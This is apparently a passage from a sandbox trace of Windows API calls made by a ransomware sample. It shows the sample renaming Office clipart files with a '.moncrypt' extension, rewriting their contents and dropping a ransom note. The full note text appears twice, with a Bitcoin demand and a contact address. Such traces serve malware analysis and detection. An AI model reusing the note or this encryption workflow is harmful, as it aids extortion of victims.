(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\я" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.486] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0059.487] CloseHandle (hObject=0x188) returned 1 [0059.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\я" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\я")) returned 1 [0059.488] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.488] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.488] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.488] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF", dwFileAttributes=0x20) returned 1 [0059.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.moncrypt")) returned 1 [0059.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.490] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xbd2 [0059.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.491] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xbd2, lpOverlapped=0x0) returned 1 [0059.492] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.492] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.492] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.492] GlobalUnlock (hMem=0x44000c) returned 0 [0059.492] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.492] GlobalUnlock (hMem=0x440004) returned 0 [0059.492] GlobalLock (hMem=0x440004) returned 0x550170 [0059.492] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.492] GlobalUnlock (hMem=0x440004) returned 0 [0059.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.504] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.504] CloseHandle (hObject=0x188) returned 1 [0059.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.504] GlobalLock (hMem=0x440004) returned 0x550170 [0059.504] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.504] GlobalUnlock (hMem=0x440004) returned 0 [0059.505] GlobalLock (hMem=0x440004) returned 0x550170 [0059.505] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.505] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.505] GlobalUnlock (hMem=0x440004) returned 0 [0059.505] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.505] GlobalUnlock (hMem=0x44000c) returned 0 [0059.505] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b78, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a960, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x559b88, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0059.506] GetLastError () returned 0x2 [0059.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.506] WriteFile (in: hFile=0x188, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18ed24*=0x649, lpOverlapped=0x0) returned 1 [0059.507] CloseHandle (hObject=0x188) returned 1 [0059.507] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0059.507] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.508] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.508] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.508] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.508] GlobalUnlock (hMem=0x44000c) returned 0 [0059.508] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.508] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.508] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.508] GlobalUnlock (hMem=0x44000c) returned 0 [0059.508] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.508] GlobalUnlock (hMem=0x440004) returned 0 [0059.508] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.508] CharLowerBuffW (in: lpsz="AN00015_.WMF", cchLength=0xc | out: lpsz="an00015_.wmf") returned 0xc [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.509] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.509] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN00015_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.509] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.509] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.509] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", dwFileAttributes=0x20) returned 1 [0059.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.moncrypt")) returned 1 [0059.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.511] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.511] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x127e [0059.511] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.511] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x127e, lpOverlapped=0x0) returned 1 [0059.513] GlobalLock (hMem=0x440004) returned 0x550170 [0059.513] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.513] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.513] GlobalUnlock (hMem=0x440004) returned 0 [0059.513] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.513] GlobalUnlock (hMem=0x44000c) returned 0 [0059.513] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.513] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.513] GlobalUnlock (hMem=0x44000c) returned 0 [0059.532] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.532] CloseHandle (hObject=0x188) returned 1 [0059.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.535] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.535] CloseHandle (hObject=0x188) returned 1 [0059.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.536] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.536] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.536] GlobalUnlock (hMem=0x44000c) returned 0 [0059.536] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.536] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.536] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.536] GlobalUnlock (hMem=0x44000c) returned 0 [0059.536] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.536] GlobalUnlock (hMem=0x440004) returned 0 [0059.537] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.537] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.537] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.537] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.538] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.538] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.538] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.538] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.538] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.538] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.538] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.538] CloseHandle (hObject=0x188) returned 1 [0059.538] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0059.538] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.538] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.538] GlobalLock (hMem=0x440004) returned 0x550170 [0059.538] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.538] GlobalUnlock (hMem=0x440004) returned 0 [0059.538] GlobalLock (hMem=0x440004) returned 0x550170 [0059.539] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.539] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.539] GlobalUnlock (hMem=0x440004) returned 0 [0059.539] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.539] GlobalUnlock (hMem=0x44000c) returned 0 [0059.539] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.539] CharLowerBuffW (in: lpsz="AN00790_.WMF", cchLength=0xc | out: lpsz="an00790_.wmf") returned 0xc [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 